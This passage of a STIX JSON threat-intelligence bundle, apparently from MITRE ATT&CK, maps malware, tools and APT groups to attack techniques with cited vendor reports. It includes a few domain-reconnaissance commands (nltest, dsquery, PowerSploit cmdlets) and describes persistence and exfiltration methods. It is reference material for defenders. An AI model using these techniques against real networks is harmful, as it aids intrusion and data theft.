            "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses a custom binary protocol for C2.(Citation: Mandiant APT1 Appendix)",
            "relationship_type": "uses",
            "id": "relationship--6e85ec57-8c4d-4a7d-8e34-27966092147f",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.444Z",
            "created": "2019-02-12T21:28:19.444Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) has the capability to identify the drive type on a victim.(Citation: McAfee Oceansalt Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--2d76d7b2-ec41-4630-8405-ec7db2c0607c",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.464Z",
            "created": "2019-02-12T21:28:19.464Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can delete files from victim machines.(Citation: Unit42 Azorult Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--0f785fc5-0d07-40bd-8d54-acfb79499824",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.670Z",
            "created": "2019-02-12T21:54:33.158Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf",
            "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "external_references": [
                {
                    "source_name": "Nltest Manual",
                    "url": "https://ss64.com/nt/nltest.html",
                    "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."
                },
                {
                    "description": "Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot\u2019s New Reconnaissance Plugin. Retrieved February 14, 2019.",
                    "url": "https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html",
                    "source_name": "Fortinet TrickBot"
                }
            ],
            "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate trusted domains by using commands such as <code>nltest /domain_trusts</code>.(Citation: Nltest Manual)(Citation: Fortinet TrickBot)",
            "relationship_type": "uses",
            "id": "relationship--7f5933ff-6665-4bee-a291-0152c928747d",
            "type": "relationship",
            "modified": "2019-04-22T19:06:17.454Z",
            "created": "2019-02-14T17:08:55.311Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) has modules such as <code>Get-NetDomainTrust</code> and <code>Get-NetForestTrust</code> to enumerate domain and forest trusts.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "relationship_type": "uses",
            "id": "relationship--ee2068ec-c520-476e-979f-3dea201d0b9e",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.306Z",
            "created": "2019-02-14T17:40:25.505Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "external_references": [
                {
                    "description": "Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot\u2019s New Reconnaissance Plugin. Retrieved February 14, 2019.",
                    "url": "https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html",
                    "source_name": "Fortinet TrickBot"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can gather information about domain trusts by utilizing [Nltest](https://attack.mitre.org/software/S0359).(Citation: Fortinet TrickBot)(Citation: Cyberreason Anchor December 2019)",
            "relationship_type": "uses",
            "id": "relationship--f4d15148-3a41-4fbc-a42e-59379724acc5",
            "type": "relationship",
            "modified": "2020-09-11T13:27:44.784Z",
            "created": "2019-02-14T17:45:24.855Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
            "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "external_references": [
                {
                    "source_name": "Harmj0y Domain Trusts",
                    "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/",
                    "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."
                }
            ],
            "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on domain trusts with <code>dsquery * -filter \"(objectClass=trustedDomain)\" -attr *</code>.(Citation: Harmj0y Domain Trusts)",
            "relationship_type": "uses",
            "id": "relationship--da7ddc38-f706-43b4-b3e7-fa3e5d1d2cff",
            "type": "relationship",
            "modified": "2020-09-17T18:26:17.799Z",
            "created": "2019-02-14T17:49:30.824Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e",
            "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "relationship_type": "mitigates",
            "id": "relationship--aebe8cdb-9aac-4704-998c-028ba0a81a74",
            "type": "relationship",
            "modified": "2020-03-26T16:13:21.450Z",
            "created": "2019-02-15T13:04:25.256Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b",
            "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09",
            "relationship_type": "mitigates",
            "id": "relationship--f412db39-9146-4600-8618-8aa7f54da4e0",
            "type": "relationship",
            "modified": "2020-03-20T19:51:55.331Z",
            "created": "2019-02-18T17:22:58.006Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa",
            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "external_references": [
                {
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "source_name": "Talos CCleanup 2017"
                }
            ],
            "description": "[CCBkdr](https://attack.mitre.org/software/S0222) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008) if communications with the primary command and control server are lost.(Citation: Talos CCleanup 2017)",
            "relationship_type": "uses",
            "id": "relationship--cd24838b-45b2-405d-b932-9ac49eca8d4a",
            "type": "relationship",
            "modified": "2020-03-16T21:25:53.520Z",
            "created": "2019-02-18T18:08:05.045Z"
        },
        {
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            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "external_references": [
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses a DGA to derive command and control URLs from a word list.(Citation: FireEye POSHSPY April 2017)",
            "relationship_type": "uses",
            "id": "relationship--489a8a76-4264-462f-be66-217e57d3e907",
            "type": "relationship",
            "modified": "2019-04-24T23:41:40.124Z",
            "created": "2019-02-18T18:17:14.015Z"
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            ],
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            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "external_references": [
                {
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
                    "source_name": "ESET Sednit 2017 Activity"
                }
            ],
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008), domains are generated by concatenating words from lists.(Citation: ESET Sednit 2017 Activity)",
            "relationship_type": "uses",
            "id": "relationship--a72ce53b-311d-43f2-b145-784c322306c1",
            "type": "relationship",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
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                }
            ],
            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses a DGA to communicate with command and control servers.(Citation: FireEye APT34 Dec 2017)",
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            "id": "relationship--7bfc7122-2dc2-4fd3-be98-2ab87ba4a530",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/",
                    "source_name": "Palo Alto OilRig Sep 2018"
                }
            ],
            "description": "(Citation: FireEye APT34 Dec 2017) (Citation: Palo Alto OilRig Sep 2018)",
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                    "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/",
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                }
            ],
            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can read batch commands in a file sent from its C2 server and execute them with cmd.exe.(Citation: Palo Alto OilRig Sep 2018)",
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            "id": "relationship--30f18b5b-a02e-4d15-bfd2-346145453a07",
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                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/",
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            ],
            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) persists using a scheduled task that executes every minute.(Citation: Palo Alto OilRig Sep 2018)",
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            "id": "relationship--749e3cb9-316a-4f97-8554-d83a9e19dfc5",
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                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/",
                    "source_name": "Palo Alto OilRig Sep 2018"
                }
            ],
            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can download or upload files from its C2 server.(Citation: Palo Alto OilRig Sep 2018)",
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                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/",
                    "source_name": "Palo Alto OilRig Sep 2018"
                }
            ],
            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) is written in PowerShell.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)",
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                    "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/",
                    "source_name": "Palo Alto OilRig Sep 2018"
                }
            ],
            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can use DNS and TXT records within its DNS tunneling protocol for command and control.(Citation: Palo Alto OilRig Sep 2018)",
            "relationship_type": "uses",
            "id": "relationship--730a2fb5-2f51-4db1-b4f1-2112d64df4bf",
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            "external_references": [
                {
                    "source_name": "LOLBAS Expand",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Expand/",
                    "description": "LOLBAS. (n.d.). Expand.exe. Retrieved February 19, 2019."
                }
            ],
            "description": "[Expand](https://attack.mitre.org/software/S0361) can be used to download or copy a file into an alternate data stream.(Citation: LOLBAS Expand)",
            "relationship_type": "uses",
            "id": "relationship--78775a68-6973-43b1-a3d9-a1c9c93c5a3f",
            "type": "relationship",
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        {
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                {
                    "source_name": "LOLBAS Expand",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Expand/",
                    "description": "LOLBAS. (n.d.). Expand.exe. Retrieved February 19, 2019."
                }
            ],
            "description": "[Expand](https://attack.mitre.org/software/S0361) can be used to download or upload a file over a network share.(Citation: LOLBAS Expand)",
            "relationship_type": "uses",
            "id": "relationship--6aa9250e-cbe8-4f47-9aef-bb178c2b6677",
            "type": "relationship",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
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                    "description": "Microsoft. (2017, October 15). Expand. Retrieved February 19, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand",
                    "source_name": "Microsoft Expand Utility"
                }
            ],
            "description": "[Expand](https://attack.mitre.org/software/S0361) can be used to decompress a local or remote CAB file into an executable.(Citation: Microsoft Expand Utility)",
            "relationship_type": "uses",
            "id": "relationship--31fa2481-0b4f-40d4-b438-1d04a7eb0888",
            "type": "relationship",
            "modified": "2019-04-19T18:52:30.191Z",
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                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses [Expand](https://attack.mitre.org/software/S0361) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                },
                {
                    "source_name": "Symantec Chafer February 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions",
                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."
                },
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious attachments to initially compromise victims. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
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            "relationship_type": "uses",
            "id": "relationship--66e8d05b-6f51-461d-aec0-266970064939",
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                {
                    "source_name": "FireEye APT39 Jan 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                },
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                },
                {
                    "source_name": "Symantec Chafer February 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions",
                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."
                }
            ],
            "description": "(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)",
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                {
                    "source_name": "FireEye APT39 Jan 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                },
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                },
                {
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) used secure shell (SSH) to move laterally among their targets. (Citation: FireEye APT39 Jan 2019)",
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                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has installed ANTAK and ASPXSPY web shells. (Citation: FireEye APT39 Jan 2019)",
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                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                },
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                },
                {
                    "source_name": "Symantec Chafer February 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions",
                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."
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                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious attachment. (Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)",
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                    "source_name": "Anomali Linux Rabbit 2018",
                    "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
                    "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."
                }
            ],
            "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) sends the payload from the C2 server as an encoded URL parameter. (Citation: Anomali Linux Rabbit 2018)",
            "relationship_type": "uses",
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                    "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
                    "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."
                }
            ],
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                }
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                }
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            "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) attempts to gain access to the server via SSH.(Citation: Anomali Linux Rabbit 2018)",
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                }
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                {
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
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                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used <code>odbcconf</code> to proxy the execution of malicious DLL files.(Citation: TrendMicro Cobalt Group Nov 2017)",
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                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to gather browser data such as bookmarks and visited sites.(Citation: Github PowerShell Empire)",
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                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) includes keylogging capabilities for Windows, Linux, and macOS systems.(Citation: Github PowerShell Empire)",
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                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use various modules to search for files containing passwords.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) contains an implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to gather credentials from memory.(Citation: Github PowerShell Empire)",
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                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can capture webcam data on Windows and macOS systems.(Citation: Github PowerShell Empire)",
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                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for executing scripts.(Citation: Github PowerShell Empire)",
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            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) contains multiple modules for injecting into processes, such as <code>Invoke-PSInject</code>.(Citation: Github PowerShell Empire)",
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                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) includes various modules for finding files of interest on hosts and network shares.(Citation: Github PowerShell Empire)",
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            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host.(Citation: Github PowerShell Empire)",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can utilize <code>Invoke-DCOM</code> to leverage remote COM execution for lateral movement.(Citation: Github PowerShell Empire)",
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            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers.(Citation: Github PowerShell Empire)",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can use <code>Invoke-RunAs</code> to make tokens.(Citation: Github PowerShell Empire)",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules for executing commands over SSH as well as in-memory VNC agent injection.(Citation: Github PowerShell Empire)",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can use WMI to deliver a payload to a remote host.(Citation: Github PowerShell Empire) ",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) includes various modules to attempt to bypass UAC for escalation of privileges.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can add a SID-History to a user if on a domain controller.(Citation: Github PowerShell Empire)",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can persist by modifying a .LNK file to include a backdoor.(Citation: Github PowerShell Empire)",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can ZIP directories on the target system.(Citation: Github PowerShell Empire)",
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            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to collect emails on a target system.(Citation: Github PowerShell Empire)",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can timestomp any files or payloads placed on a target machine to help them blend in.(Citation: Github PowerShell Empire)",
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            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can modify the registry run keys <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> for persistence.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can conduct command and control over protocols like HTTP and HTTPS.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can conduct command and control over commonly used ports like 80 and 443.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox for data exfiltration.(Citation: Github PowerShell Empire)",
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            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can send data gathered from a target through the command and control channel.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can find shared drives on the local system.(Citation: Github PowerShell Empire)",
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                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
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                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
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                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
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                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
                    "source_name": "Symantec Shamoon 2012"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
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                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "source_name": "Unit 42 Shamoon3 2018"
                },
                {
                    "source_name": "McAfee Shamoon December 2018",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/",
